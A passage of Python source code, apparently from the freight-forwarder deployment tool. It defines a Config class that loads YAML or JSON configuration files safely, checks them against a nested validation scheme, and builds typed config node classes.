'type': list,\n                        'items': {\n                            'inherit': '$host'\n                        }\n                    }\n                }\n            }\n        },\n\n        'actions': ACTIONS_SCHEME,\n\n        'host': {\n            'is': {\n                'type': dict,\n                'required': ['address']\n            },\n            'address': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'ssl_cert_path': {\n                'is': {\n                    'type': six.string_types\n                }\n            },\n            'verify': {\n                'is': {\n                    'type': bool\n                }\n            }\n\n        }\n    }\n}\n\nVALIDATORS = (\n    'required',\n    'must_include',\n    'type',\n    'one_of',\n    'if',\n    'any_of',\n    'items',\n    'not',\n    'max',\n    'min',\n)\n\nRESERVED_SCHEME_KEYS = (\n    'is',\n    'ref',\n    'inherit',\n    'cascading',\n    '_',\n    '*',\n    '~',\n    '$',\n    '@',\n)\n\nextract_doc_string = re.compile(\n    r'''^ (@|)     # explicit module name\n          (\\w+):   # thing name\n          \\s?(.*)$ # rest should be comma seperated values.\n          ''', re.VERBOSE)\n\n\nclass Config(object):\n    \"\"\" A representation of a freight-forwarder configuration file.\n\n    :param verbose: A :boolean:, will provide verbose validation output. defaults to True\n    * not yet implemented.\n    :param path_override: A :string:, a path to a configuration to override. defaults to cwd\n    \"\"\"\n    def __init__(self, path_override=None, verbose=True):\n        self._scheme_references = {}\n        self._data              = None\n\n        if path_override and not isinstance(path_override, six.string_types):\n            raise TypeError(logger.error(\"path_override must be a string.\"))\n\n        self._path    = path_override if path_override else os.getcwd()\n        self._verbose = verbose\n\n        self._load()\n\n    def get(self, attr_name, *args):\n        \"\"\" Get the most retrieval attribute in the configuration file.  This method\n        will recursively look through the configuration file for the attribute specified\n        and return the last found value or None. The values can be referenced by\n        the key name provided in the configuration file or that value normalized with\n        snake_casing.\n\n        Usage::\n            >>> from freight_forwarder.config import Config\n            >>>\n            >>> config = Config()\n            >>> thing = config.get('thing', 'grandparent', 'parent')\n\n        :param attr_name: A :string: The configuration property name to get.\n        :param *args: A :tuple: if :strings: parent objects in which to look for attr. This is optional.\n        :return attr value:\n        \"\"\"\n        if not isinstance(attr_name, six.string_types):\n            raise TypeError('attr_name must be a str.')\n\n        # allow retrieval of data with alias or normalized name\n        if '-' in attr_name:\n            attr_name = attr_name.replace('-', '_')\n\n        parent_attr = self\n        attr = getattr(parent_attr, attr_name, None)\n\n        for arg in args:\n            if not isinstance(arg, six.string_types):\n                raise TypeError(\n                    'each additional argument must be a string. {0} was not a string'.format(arg)\n                )\n\n            if hasattr(parent_attr, arg):\n                parent_attr = getattr(parent_attr, arg)\n\n                if hasattr(parent_attr, attr_name):\n                    attr = getattr(parent_attr, attr_name)\n        else:\n            pass\n\n        return attr\n\n    # TODO: revisit these reference functions to validate there usefulness.\n    @property\n    def service_references(self):\n        \"\"\" returns a list of service names\n        \"\"\"\n        services_blue_print = self._scheme_references.get('services')\n        if services_blue_print is None:\n            raise LookupError('unable to find any services in the config.')\n\n        # TODO: this needs to be cleaned up and made solid. maybe when creating the blueprint ref normalize the damn keys\n        return {key.replace('-', '_'): key for key in services_blue_print['keys']}\n\n    def environment_references(self):\n        services_blue_print = self._scheme_references.get('environments')\n        if services_blue_print is None:\n            raise LookupError('unable to find any environments in the config.')\n\n        # TODO: this needs to be cleaned up and made solid. maybe when creating the blueprint ref normalize the damn keys\n        return {key.replace('-', '_'): key for key in services_blue_print['keys']}\n\n    def data_center_references(self, environment):\n        \"\"\"\n\n        :param string environment:\n        :return dict:\n        \"\"\"\n        services_blue_print = self._scheme_references.get('data_centers')\n        if services_blue_print is None:\n            raise LookupError('unable to find any data_centers in the config.')\n\n        if environment not in self.environments:\n            raise LookupError('unable to find {0} in the following environments: {1}'.format(\n                environment, ', '.join(self.environment_references().keys())\n            ))\n\n        environment = self.environments[environment]\n        # TODO: this needs to be cleaned up and made solid. maybe when creating the blueprint ref normalize the damn keys\n        return {key.replace('-', '_'): key for key in services_blue_print['keys'] if key.replace('-', '_') in environment}\n\n    def validate(self):\n        \"\"\" Validate the contents of the configuration file. Will return None if validation is successful or\n        raise an error if not.\n        \"\"\"\n        if not isinstance(self._data, dict):\n            raise TypeError('freight forwarder configuration file must be a dict.')\n\n        current_log_level = logger.get_level()\n\n        if self._verbose:\n            logger.set_level('DEBUG')\n        else:\n            logger.set_level('ERROR')\n\n        logger.info('Starting configuration validation', extra={\"formatter\": 'config-start'})\n\n        # copy config dict to allow config data to stay in its original state.\n        config_data = self._data.copy()\n\n        try:\n            self._walk_tree(config_data, ROOT_SCHEME)\n        except ConfigValidationException as e:\n            e.log_error()\n            raise\n\n        logger.info(\"Config validation passed.\", extra={'formatter': 'config-success'})\n\n        logger.set_level(current_log_level)\n\n    ##\n    # private methods\n    ##\n    def _load(self):\n        \"\"\" Load a configuration file.  This method will be called when the Config class is instantiated.  The\n        configuration file can be json or yaml.\n        \"\"\"\n        if os.path.isdir(self._path):\n            for file_ext in ('yml', 'yaml', 'json'):\n                test_path = os.path.join(self._path, 'freight-forwarder.{0}'.format(file_ext))\n\n                if os.path.isfile(test_path):\n                    self._path = test_path\n                    break\n\n        if os.path.isfile(self._path):\n            file_name, file_extension = os.path.splitext(self._path)\n\n            with open(self._path, 'r') as config_file:\n                if file_extension in ('.yaml', '.yml'):\n                    self._load_yml_config(config_file.read())\n                elif file_extension == '.json':\n                    try:\n                        config_data = json.loads(config_file.read())\n                        self._data  = normalize_keys(config_data)\n                    except Exception:\n                        raise SyntaxError(\"There is a syntax error in your freight-forwarder config.\")\n                else:\n                    raise TypeError(\"Configuration file most be yaml or json.\")\n        else:\n            raise LookupError(\"Was unable to find a freight-forwarder configuration file.\")\n\n    def _load_yml_config(self, config_file):\n        \"\"\" loads a yaml str, creates a few constructs for pyaml, serializes and normalized the config data. Then\n         assigns the config data to self._data.\n\n        :param config_file: A :string: loaded from a yaml file.\n        \"\"\"\n        if not isinstance(config_file, six.string_types):\n            raise TypeError('config_file must be a str.')\n\n        try:\n            def construct_yaml_int(self, node):\n                obj  = SafeConstructor.construct_yaml_int(self, node)\n                data = ConfigInt(\n                    obj,\n                    node.start_mark,\n                    node.end_mark\n                )\n\n                return data\n\n            def construct_yaml_float(self, node):\n                obj, = SafeConstructor.construct_yaml_float(self, node)\n                data = ConfigFloat(\n                    obj,\n                    node.start_mark,\n                    node.end_mark\n                )\n\n                return data\n\n            def construct_yaml_str(self, node):\n                # Override the default string handling function\n                # to always return unicode objects\n                obj = SafeConstructor.construct_scalar(self, node)\n\n                assert isinstance(obj, six.string_types)\n                data = ConfigUnicode(\n                    obj,\n                    node.start_mark,\n                    node.end_mark\n                )\n\n                return data\n\n            def construct_yaml_mapping(self, node):\n                obj, = SafeConstructor.construct_yaml_map(self, node)\n                data = ConfigDict(\n                    obj,\n                    node.start_mark,\n                    node.end_mark\n                )\n\n                return data\n\n            def construct_yaml_seq(self, node):\n                obj, = SafeConstructor.construct_yaml_seq(self, node)\n                data = ConfigSeq(\n                    obj,\n                    node.start_mark,\n                    node.end_mark\n                )\n\n                return data\n\n            # SafeConstructor.add_constructor(u'tag:yaml.org,2002:bool',  construct_yaml_bool)\n            SafeConstructor.add_constructor(u'tag:yaml.org,2002:float', construct_yaml_float)\n            SafeConstructor.add_constructor(u'tag:yaml.org,2002:int', construct_yaml_int)\n            SafeConstructor.add_constructor(u'tag:yaml.org,2002:map', construct_yaml_mapping)\n            SafeConstructor.add_constructor(u'tag:yaml.org,2002:seq', construct_yaml_seq)\n            SafeConstructor.add_constructor(u'tag:yaml.org,2002:str', construct_yaml_str)\n\n            data = SafeLoader(config_file).get_data()\n            if data is None:\n                raise AttributeError('The configuration file needs to have data in it.')\n\n            self._data = normalize_keys(data, snake_case=False)\n        except YAMLError as e:\n            if hasattr(e, 'problem_mark'):\n                mark = e.problem_mark\n                raise SyntaxError(\n                    \"There is a syntax error in your freight-forwarder config file line: {0} column: {1}\".format(\n                        mark.line + 1,\n                        mark.column + 1\n                    )\n                )\n            else:\n                raise SyntaxError(\"There is a syntax error in your freight-forwarder config.\")\n\n    def _merge_config(self, config_override):\n        \"\"\" overrides and/or adds data to the current configuration file.\n\n        ** This has not been implemented yet.\n\n        :param config_override: A :string: config data to add to or override the current config.\n        \"\"\"\n        if not isinstance(config_override, dict):\n            raise TypeError(\"config override must be a dict\")\n\n        def recursion(config_value, override_value):\n            for key, value in override_value.items():\n                if key in config_value:\n                    if isinstance(value, dict) and isinstance(config_value[key], dict):\n                        recursion(config_value[key], value)\n                    else:\n                        config_value[key] = value\n                else:\n                    config_value[key] = value\n\n        for key, value in config_override.items():\n            if key in self._data:\n                recursion(self._data[key], value)\n            else:\n                self._data[key] = value\n\n    def _create_attr(self, property_key, data, ancestors):\n        \"\"\" Dynamically Creates attributes on for a Config.  Also adds name and alias to each Config object.\n\n        :param property_key: A :string: configuration property name.\n        :param data: The adds the user supplied for this specific property.\n        :param ancestors: A :OrderedDict: that provides a history of its ancestors.\n        \"\"\"\n        if not isinstance(property_key, six.string_types):\n            raise TypeError(\"property_key must be a string. type: {0} was passed.\".format(type(property_key)))\n\n        if not isinstance(ancestors, OrderedDict):\n            raise TypeError(\"ancestors must be an OrderedDict. type: {0} was passed.\".format(type(ancestors)))\n\n        previous_element        = self\n        normalized_key          = normalize_value(property_key).replace('-', '_')\n        normalized_ancestor_key = None\n\n        # TODO: clean up and validation\n        if ancestors:\n            for ancestor_key, ancestors_value in six.iteritems(ancestors):\n                normalized_ancestor_key = normalize_value(ancestor_key).replace('-', '_')\n\n                if normalized_ancestor_key.lower() == 'root':\n                    continue\n\n                if not hasattr(previous_element, normalized_ancestor_key):\n                    config_attr       = ConfigDict({}, ancestors_value.start_mark, ancestors_value.end_mark)\n                    config_attr.name  = normalized_ancestor_key\n                    config_attr.alias = ancestor_key\n\n                    setattr(\n                        previous_element,\n                        normalized_ancestor_key,\n                        config_attr\n                    )\n\n                previous_element = getattr(previous_element, normalized_ancestor_key)\n\n        if normalized_key == normalized_ancestor_key:\n            pass\n        else:\n            if isinstance(data, ConfigNode):\n                data.name  = normalized_key\n                data.alias = property_key\n\n            setattr(previous_element, normalized_key, data)\n\n    def _collect_unrecognized_values(self, scheme, data, ancestors):\n        \"\"\" Looks for values that aren't defined in the scheme and returns a dict with any unrecognized values found.\n\n        :param scheme: A :dict:, The scheme defining the validations.\n        :param data: A :dict: user supplied for this specific property.\n        :param ancestors: A :OrderedDict: that provides a history of its ancestors.\n        :rtype: A :dict: of unrecognized configuration properties.\n        \"\"\"\n        if not isinstance(ancestors, OrderedDict):\n            raise TypeError(\"ancestors must be an OrderedDict. type: {0} was passed.\".format(type(ancestors)))\n\n        if not isinstance(scheme, dict):\n            raise TypeError('scheme must be a dict. type: {0} was passed'.format(type(scheme)))\n\n        unrecognized_values = {}\n        if isinstance(data, dict):\n            pruned_scheme = [key for key in scheme.keys() if key not in RESERVED_SCHEME_KEYS and key[0] not in RESERVED_SCHEME_KEYS]\n\n            for key, value in six.iteritems(data):\n                if key in pruned_scheme:\n                    continue\n\n                unrecognized_values[key] = value\n\n            validations = scheme.get('is')\n            if validations and 'one_of' in validations:\n                for nested_scheme in validations['one_of']:\n                    if isinstance(nested_scheme, dict):\n\n                        updated_scheme = self._update_scheme(nested_scheme, ancestors)\n                        pruned_scheme = [key for key in updated_scheme.keys() if key not in RESERVED_SCHEME_KEYS and key[0] not in RESERVED_SCHEME_KEYS]\n                        for key in pruned_scheme:\n                            if key in unrecognized_values:\n                                del unrecognized_values[key]\n        else:\n            # TODO: maybe return an error?\n            pass\n\n        return unrecognized_values\n\n    def _update_scheme(self, scheme, ancestors):\n        \"\"\" Updates the current scheme based off special pre-defined keys and retruns a new updated scheme.\n\n        :param scheme: A :dict:, The scheme defining the validations.\n        :param ancestors: A :OrderedDict: that provides a history of its ancestors.\n        :rtype: A new :dict: with updated scheme values.\n        \"\"\"\n        if not isinstance(ancestors, OrderedDict):\n            raise TypeError(\"ancestors must be an OrderedDict. type: {0} was passed.\".format(type(ancestors)))\n\n        if not isinstance(scheme, dict):\n            raise TypeError('scheme must be a dict. type: {0} was passed'.format(type(scheme)))\n\n        # TODO: what if we have more than one scheme :P need to fix this.\n        definitions = ROOT_SCHEME.get('_')\n        if 'inherit' in scheme:\n            scheme = self._scheme_propagation(scheme, definitions)\n\n        updated_scheme = {}\n        for scheme_key in six.iterkeys(scheme):\n            if not isinstance(scheme_key, six.string_types):\n                raise TypeError('scheme keys are required to be strings. type: {0} was passed.'.format(scheme_key))\n\n            if '@' in scheme_key:\n                ref = scheme_key[1:]\n\n                scheme_reference = self._scheme_references.get(ref)\n                if not scheme_reference:\n                    raise ConfigValidationException(ancestors, ref, scheme_reference, 'required', scheme)\n\n                for reference_key in scheme_reference['keys']:\n                    scheme_reference['scheme'].update(scheme[scheme_key])\n                    updated_scheme[reference_key] = scheme_reference['scheme']\n\n            elif '~' in scheme_key:\n                ref = scheme_key[1:]\n\n                scheme_reference = self._scheme_references.get(ref)\n                if not scheme_reference:\n                    raise LookupError(\"was unable to find {0} in scheme reference.\".format(ref))\n\n                for reference_key in scheme_reference['keys']:\n                    updated_scheme[reference_key] = scheme[scheme_key]\n\n        scheme.update(updated_scheme)\n        return scheme\n\n    def _get_cascading_attr(self, attr_name, *args):\n        \"\"\" Will traverse the configuration data looking for attr_name provided.  It will know where to look for the\n        attribute based on the *args that are passed to the method.  It treats the args as ancestors starting with the\n        oldest `root -> grandparent -> parent -> attr_name`.  The findings will be updated with the last found object.\n        The properties in the last found object will overwrite those in the previous.  If the attribute isn't found\n        will return None\n\n        Usage::\n            >>> attr = self._get_cascading_attr('attribute_name', 'root', 'grandparent', 'parent')\n            >>> if attr is not None:\n            >>>  do_thing(attr)\n\n        :param attr_name: A string, the configuration attribute name\n        :param *args: A list, A list of strings that that represent the attributes ancestry. (how to find the obj)\n        :rtype: Any defined configuration value :dict:, :string:, :int:, :list:, :float: `attr`\n        \"\"\"\n        attr = self._data.get(attr_name, None)\n        if isinstance(attr, ConfigDict):\n            attr = ConfigDict(attr, attr.start_mark, attr.end_mark)\n        elif isinstance(attr, dict):\n            attr = attr.copy()\n\n        cascading = self._data\n        if args:\n\n            for key in args:\n                if not isinstance(key, six.string_types):\n                    raise TypeError('Every key in args must be a string.')\n\n                if key in cascading:\n                    config_object = cascading.get(key)\n\n                    if config_object:\n                        if attr_name in config_object:\n                            if isinstance(attr, dict):\n                                value = config_object[attr_name]\n\n                                if value is None:\n                                    attr = value\n                                elif isinstance(value, dict):\n                                    attr.update(config_object[attr_name])\n                                else:\n                                    raise LookupError(\n                                        \"Unable to find '{0}'. Obj structure: {1}\".format(\n                                            attr_name, \" -> \".join(args)\n                                        )\n                                    )\n                            else:\n                                attr = config_object[attr_name]\n\n                        cascading = config_object\n                        continue\n                else:\n                    break\n\n        return attr\n\n    def _walk_tree(self, data, scheme, ancestors=None, property_name=None, prefix=None):\n        \"\"\" This function takes configuration data and a validation scheme\n        then walk the configuration tree validating the configuraton data agenst\n        the scheme provided. Will raise error on failure otherwise return None.\n\n        Usage::\n            >>> self._walk_tree(\n            >>>    OrderedDict([('root', config_data)]),\n            >>>    registries,\n            >>>    REGISTRIES_SCHEME\n            >>> )\n\n\n        :param ancestors: A :OrderedDict:, The first element of the dict must be 'root'.\n        :param data: The data that needs to be validated agents the scheme.\n        :param scheme: A :dict:, The scheme defining the validations.\n        :param property_name: A :string:, This is the name of the data getting validated.\n        :param prefix:\n        :rtype: :None: will raise error if a validation fails.\n        \"\"\"\n        if property_name is None:\n            property_name = 'root'\n            # hack until i add this to references\n            # reorder validates putting required first.  If the data doesn't exist there is no need to continue.\n            order = ['registries'] + [key for key in scheme.keys() if key not in ('registries',)]\n            scheme = OrderedDict(sorted(scheme.items(), key=lambda x: order.index(x[0])))\n\n        if data is None:\n            return\n\n        elif not isinstance(property_name, six.string_types):\n            raise TypeError('property_name must be a string.')\n\n        ancestors = self._update_ancestors(data, property_name, ancestors)\n        if isinstance(ancestors, OrderedDict):\n            if list(ancestors)[0] != 'root':\n                raise LookupError('root must be the first item in ancestors.')\n        else:\n            raise TypeError('ancestors must be an OrderedDict. {0} was passed'.format(type(ancestors)))\n\n        if not isinstance(scheme, dict):\n            raise TypeError('scheme must be a dict. {0} was passed.'.format(type(scheme)))\n        scheme = self._update_scheme(scheme, ancestors)\n\n        if property_name is not None and data:\n            data = self._get_cascading_attr(\n                property_name, *list(ancestors)[1:]\n            ) if scheme.get('cascading', False) else data\n\n        for err in self.__execute_validations(scheme.get('is', {}), data, property_name, ancestors, prefix=prefix):\n            if err:\n                raise err\n            else:\n                self._create_attr(property_name, data, ancestors)\n\n        self.__validate_unrecognized_values(scheme, data, ancestors, prefix)\n\n        self.__populate_scheme_references(scheme, property_name)\n\n        self.__validate_config_properties(scheme, data, ancestors, prefix)\n\n    def _update_ancestors(self, config_data, property_name, ancestors=None):\n        \"\"\" Update ancestors for a specific property.\n\n        :param ancestors: A :OrderedDict:, representing the ancestors of a property.\n        :param config_data: The data that needs to be validated agents the scheme.\n        :param property_name: A :string: of the properties name.\n        :rtype: A :OrderDict: that has been updated with new parents.\n        \"\"\"\n        if not isinstance(property_name, six.string_types):\n            raise TypeError(\"property_key must be a string. type: {0} was passed.\".format(type(property_name)))\n\n        if ancestors is None:\n            ancestors = OrderedDict([('root', config_data)])\n\n        elif not isinstance(ancestors, OrderedDict):\n            raise TypeError(\"ancestors must be an OrderedDict. type: {0} was passed.\".format(type(ancestors)))\n\n        elif 'root' not in ancestors:\n            raise LookupError(\n                'root must be in ancestors. currently in the ancestors chain {0}'.format(', '.join(ancestors.keys()))\n            )\n\n        ancestors = ancestors.copy()\n\n        for previous_key in list(ancestors)[::-1]:\n            previous_item = ancestors[previous_key]\n\n            if isinstance(config_data, dict):\n                if property_name in previous_item:\n                    ancestors[property_name] = config_data\n                    break\n\n        return ancestors\n\n    def _reference_keys(self, reference):\n        \"\"\" Returns a list of all of keys for a given reference.\n\n        :param reference: a :string:\n        :rtype: A :list: of reference keys.\n        \"\"\"\n        if not isinstance(reference, six.string_types):\n            raise TypeError(\n                'When using ~ to reference dynamic attributes ref must be a str. a {0} was provided.'.format(type(reference).__name__)\n            )\n\n        if '~' in reference:\n            reference = reference[1:]\n\n            scheme = self._scheme_references.get(reference)\n            if not scheme:\n                # TODO: need to create nice error here as well and print pretty message.\n                raise LookupError(\n                    \"Was unable to find {0} in the scheme references. \"\n                    \"available references {1}\".format(reference, ', '.join(self._scheme_references.keys()))\n                )\n\n            return scheme['keys']\n        else:\n            raise AttributeError('references must start with ~. Please update {0} and retry.'.format(reference))\n\n    def __populate_scheme_references(self, scheme, property_name):\n        reference_scheme = scheme.get('ref')\n        if reference_scheme:\n            if reference_scheme in self._scheme_references:\n                if property_name not in self._scheme_references[reference_scheme]['keys']:\n                    self._scheme_references[reference_scheme]['keys'].append(property_name)\n            else:\n                self._scheme_references[reference_scheme] = {'keys': [property_name], 'scheme': scheme}\n\n    def __validate_config_properties(self, scheme, data, ancestors, prefix=None):\n\n        for scheme_key, child_scheme in six.iteritems(scheme):\n            if scheme_key in RESERVED_SCHEME_KEYS:\n                continue\n\n            if isinstance(data, dict):\n                if scheme_key in data or child_scheme.get('is', {}).get('required', False):\n                    self._walk_tree(data.get(scheme_key), child_scheme.copy(), ancestors, scheme_key, prefix=prefix)\n            else:\n                # TODO: update error\n                raise AttributeError(\n                    '{0} is an unrecognized scheme key. replace with one of the following: {1}'.format(\n                        scheme_key, ', '.join(RESERVED_SCHEME_KEYS)\n                    )\n                )\n\n    def __validate_unrecognized_values(self, scheme, data, ancestors, prefix=None):\n        unrecognized_values = self._collect_unrecognized_values(scheme, data, ancestors)\n        default_scheme  = scheme.get('*')\n\n        if unrecognized_values and default_scheme:\n            for key in list(unrecognized_values):\n\n                value = unrecognized_values.pop(key)\n                try:\n                    self._walk_tree(value, default_scheme.copy(), ancestors, key, prefix=prefix)\n                except ConfigValidationException:\n                    error = ConfigValidationException(ancestors, key, value, 'unrecognized', scheme)\n\n                    if error.is_potential_fix_valid():\n                        raise error\n                    else:\n                        raise\n\n        if unrecognized_values:\n            for key, value in six.iteritems(unrecognized_values):\n                logger.info(\n                    self.__build_validation_message(ancestors, key, 'unrecognized', key),\n                    extra={'formatter': 'config-failure', 'prefix': prefix}\n                )\n\n                raise ConfigValidationException(ancestors, key, unrecognized_values, 'unrecognized', scheme)\n\n    def __execute_validations(self, validations, data, property_name, ancestors, negation=False, prefix=None):\n        \"\"\" Validate the data for a specific configuration value. This method will look up all of the validations provided\n        and dynamically call any validation methods. If a validation fails a error will be thrown.  If no errors are found\n        a attributes will be dynamically created on the Config object for the configuration value.\n\n        :param validations: A :dict: with any required validations and expected values.\n        :param data: the data to validate.\n        :param property_name: A :string:, the properties name.\n        :param ancestors: A :OrderedDict:, representing the ancestors of a property.\n        \"\"\"\n        if not isinstance(ancestors, OrderedDict):\n            raise TypeError(\"ancestors must be an OrderedDict. type: {0} was passed.\".format(type(ancestors)))\n\n        if not isinstance(validations, dict):\n            raise TypeError('validations is required to be a dict. type: {1} was passed.'.format(type(validations)))\n\n        if not isinstance(property_name, six.string_types):\n            raise TypeError(\"property_key must be a string. type: {0} was passed.\".format(type(property_name)))\n\n        # reorder validates putting required first.  If the data doesn't exist there is no need to continue.\n        order = ['type', 'required'] + [key for key in validations.keys() if key not in ('required', 'type')]\n        ordered_validations = OrderedDict(sorted(validations.items(), key=lambda x: order.index(x[0])))\n\n        for validation, value in six.iteritems(ordered_validations):\n            if validation in VALIDATORS:\n\n                if validation == 'not':\n                    # TODO: need to test to make sure this works\n                    for err in self.__execute_validations(value, data, property_name, ancestors, negation, prefix):\n                        yield err\n\n                    continue\n\n                for err in getattr(self, '_{0}'.format(validation))(value, data, property_name, ancestors, negation, prefix):\n                    yield err\n\n            else:\n                raise LookupError(\"{0} isn't a validator or reserved scheme key.\".format(validation))\n\n    def _type(self, expected, value, key, ancestors, negation, prefix):\n        error     = None\n        formatter = 'config-success'\n        if isinstance(expected, tuple):\n            data_type = []\n            for dt in expected:\n                if isinstance(dt, tuple):\n                    data_type.extend([element for element in dt])\n                else:\n                    data_type.append(dt)\n\n            data_type = ' or '.join([dt.__name__ for dt in data_type])\n        else:\n            data_type = expected.__name__\n\n        # TODO: update not logic.\n        if negation:\n            if isinstance(value, expected):\n                error = ConfigValidationException(ancestors, key, value, 'type', data_type)\n                formatter = 'config-failure'\n\n        elif not isinstance(value, expected):\n            error = ConfigValidationException(ancestors, key, value, 'type', data_type)\n            formatter = 'config-failure'\n\n        logger.info(\n            self.__build_validation_message(ancestors, key, 'type', data_type),\n            extra={'formatter': formatter, 'prefix': prefix}\n        )\n\n        yield error\n\n    def _required(self, expected, value, key, ancestors, negation, prefix):\n        error = None\n        if not isinstance(expected, (list, tuple)):\n            raise TypeError('included is required to be a list or tuple. {0} was passed'.format(type(expected).__str__))\n\n        matches = []\n\n        for expected_key in expected:\n            if not isinstance(expected_key, six.string_types):\n                raise TypeError('each value in the included list must be a string.'.format(type(expected_key).__str__))\n\n            if expected_key in value and value.get(expected_key) is not None:\n                logger.info(\n                    self.__build_validation_message(ancestors, key, 'required', expected_key),\n                    extra={'formatter': 'config-success', 'prefix': prefix}\n                )\n            else:\n                logger.info(\n                    self.__build_validation_message(ancestors, key, 'required', expected_key),\n                    extra={'formatter': 'config-failure', 'prefix': prefix}\n                )\n                matches.append(expected_key)\n\n        if matches:\n            error = ConfigValidationException(ancestors, key, value, 'required', matches)\n\n        yield error\n\n    def _items(self, expected, values, key, ancestors, negation, prefix):\n        error = None\n        items_prefix    = ' \\u21B3'\n        item_identifier = ' \\u2605'\n\n        if prefix:\n            items_prefix = items_prefix.rjust(4)\n            item_identifier = item_identifier.rjust(4)\n\n        if isinstance(values, (list, tuple)):\n            # validate each value.\n            for i, value in enumerate(values):\n\n                logger.info(\n                    self.__build_validation_message(ancestors, key, 'item[{0}]'.format(i), value),\n                    extra={'formatter': 'config-message', 'prefix': item_identifier}\n                )\n\n                try:\n                    self._walk_tree(value, expected, ancestors, key, prefix=items_prefix)\n                except ConfigValidationException as e:\n                    error = e\n        else:\n            raise TypeError('Can\\'t validate items if a list or tuple isn\\'t passed.')\n\n        yield error\n\n    def _max(self, expected, value, key, ancestors, negation, prefix):\n        \"\"\"\n\n        :param expected:\n        :param value:\n        :param key:\n        :param ancestors:\n        :param negation:\n        :return:\n        \"\"\"\n        error     = None\n        formatter = 'config-success'\n        length    = len(value) if value is not None else expected\n\n        if length > expected:\n            formatter = 'config-failure'\n            error = ConfigValidationException(ancestors, key, value, 'max', expected)\n\n        logger.info(\n            self.__build_validation_message(ancestors, key, 'max', expected),\n            extra={'formatter': formatter, 'prefix': prefix}\n        )\n\n        yield error\n\n    def _one_of(self, expected, values, key, ancestors, negation, prefix):\n        error         = None\n        valid         = 0\n        one_of_prefix = '  \\u21B3'\n\n        if prefix:\n            one_of_prefix = one_of_prefix.rjust(4)\n\n        if '~' in expected:\n            expected = self._reference_keys(expected)\n\n        logger.info(\" \\u2605 {0}\".format(self.__build_validation_message(ancestors, key, 'one_of', '\\u2605')))\n        for i, expected_value in enumerate(expected):\n            logger.info(\"  \\u2605 {0}\".format(\n                self.__build_validation_message(ancestors, key, 'one_of', 'item[{0}]'.format(i)))\n            )\n\n            if isinstance(expected_value, dict):\n                try:\n                    self._walk_tree(values, expected_value, ancestors.copy(), key, prefix=one_of_prefix)\n\n                    valid += 1\n                    error = None\n\n                except ConfigValidationException as e:\n                    if not valid and error is None:\n                        error = ConfigOneOfException(ancestors, key, values, 'one_of', None)\n                        error.additional_messages.append(e.message)\n\n                    pass\n                except Exception:\n                    pass\n            else:\n                if self.__one_of_validation(values, expected_value):\n                    valid     += 1\n                    error     = None\n                    formatter = 'config-success'\n                else:\n                    formatter = 'config-failure'\n                    if not valid:\n                        error = ConfigValidationException(ancestors, key, values, 'one_of', expected)\n\n                logger.info(\n                    self.__build_validation_message(ancestors, key, 'one_of', expected_value),\n                    extra={'formatter': formatter, 'prefix': one_of_prefix}\n                )\n\n        yield error\n\n    def __one_of_validation(self, values, current_expected_value):\n        if isinstance(values, (dict, list, tuple)):\n            return values and current_expected_value in values\n        else:\n            return values and current_expected_value == values\n\n    def _scheme_propagation(self, scheme, definitions):\n        \"\"\" Will updated a scheme based on inheritance.  This is defined in a scheme objects with ``'inherit': '$definition'``.\n        Will also updated parent objects for nested inheritance.\n\n        Usage::\n            >>> SCHEME = {\n            >>>     'thing1': {\n            >>>         'inherit': '$thing2'\n            >>>     },\n            >>>     '_': {\n            >>>         'thing2': {\n            >>>             'this_is': 'thing2 is a definition'\n            >>>         }\n            >>>     }\n            >>> }\n            >>> scheme = SCHEME.get('thing1')\n            >>> if 'inherit' in scheme:\n            >>>     scheme = self._scheme_propagation(scheme, SCHEME.get('_'))\n            >>>\n            >>> scheme.get('some_data')\n\n        :param scheme: A dict, should be a scheme defining validation.\n        :param definitions: A dict, should be defined in the scheme using '_'.\n        :rtype: A :dict: will return a updated copy of the scheme.\n        \"\"\"\n        if not isinstance(scheme, dict):\n            raise TypeError('scheme must be a dict to propagate.')\n\n        inherit_from = scheme.get('inherit')\n\n        if isinstance(inherit_from, six.string_types):\n            if not inherit_from.startswith('$'):\n                raise AttributeError('When inheriting from an object it must start with a $.')\n\n            if inherit_from.count('$') > 1:\n                raise AttributeError('When inheriting an object it can only have one $.')\n\n            if not isinstance(definitions, dict):\n                raise AttributeError(\"Must define definitions in the root of the SCHEME. \"\n                                     \"It is done so with  '_': { objs }.\")\n            name = inherit_from[1:]\n            definition = definitions.copy().get(name)\n\n            if not definition:\n                raise LookupError(\n                    'Was unable to find {0} in definitions. The follow are available: {1}.'.format(name, definitions)\n                )\n\n        else:\n            raise AttributeError('inherit must be defined in your scheme and be a string value. format: $variable.')\n\n        updated_scheme = {key: value for key, value in six.iteritems(scheme) if key not in definition}\n        nested_scheme = None\n        for key, value in six.iteritems(definition):\n            if key in scheme:\n                updated_scheme[key] = scheme[key]\n            else:\n                updated_scheme[key] = value\n\n            if key == 'inherit':\n                nested_scheme = self._scheme_propagation(definition, definitions)\n\n        # remove inherit key\n        if 'inherit' in updated_scheme:\n            del updated_scheme['inherit']\n\n        if nested_scheme is not None:\n            updated_scheme.update(nested_scheme)\n\n        return updated_scheme\n\n    def __build_validation_message(self, ancestors, property_name, validation, expected_value):\n        msg = \" \\u27A4 \".join(ancestors.keys())\n\n        if isinstance(expected_value, dict):\n            expected_value = expected_value.keys()\n\n        if property_name == list(ancestors)[-1]:\n            msg = \"{0} \\u27A4 {1}: {2}\".format(msg, validation, expected_value)\n        else:\n            msg = '{0} \\u27A4 {1} \\u27A4 {2}: {3}'.format(msg, property_name, validation, expected_value)\n\n        return msg\n\n\n##\n# Config Data Type Classes\n##\nclass ConfigNode(object):\n    def __init__(self, start_mark, end_mark):\n        self._alias      = None\n        self._name       = None\n        self._start_mark = start_mark\n        self._end_mark   = end_mark\n\n    @property\n    def alias(self):\n        return self._alias\n\n    @alias.setter\n    def alias(self, value):\n        if value is not None and not isinstance(value, six.string_types):\n            raise TypeError('name must be a string.')\n\n        self._alias = value\n\n    @property\n    def name(self):\n        return self._name\n\n    @name.setter\n    def name(self, value):\n        if value is not None and not isinstance(value, six.string_types):\n            raise TypeError('name must be a string.')\n        self._name = value\n\n    @property\n    def start_mark(self):\n        return self._start_mark\n\n    @property\n    def end_mark(self):\n        return self._end_mark\n\n\nclass ConfigDict(dict, ConfigNode):\n    def __init__(self, node_data, start_mark=None, end_mark=None):\n        super(ConfigDict, self).__init__(node_data)\n        ConfigNode.__init__(self, start_mark, end_mark)\n\n    def __contains__(self, item):\n        try:\n            return super(ConfigDict, self).__contains__(item) or hasattr(self, item)\n        except:\n            return False\n\n    def __delattr__(self, item):\n        try:\n          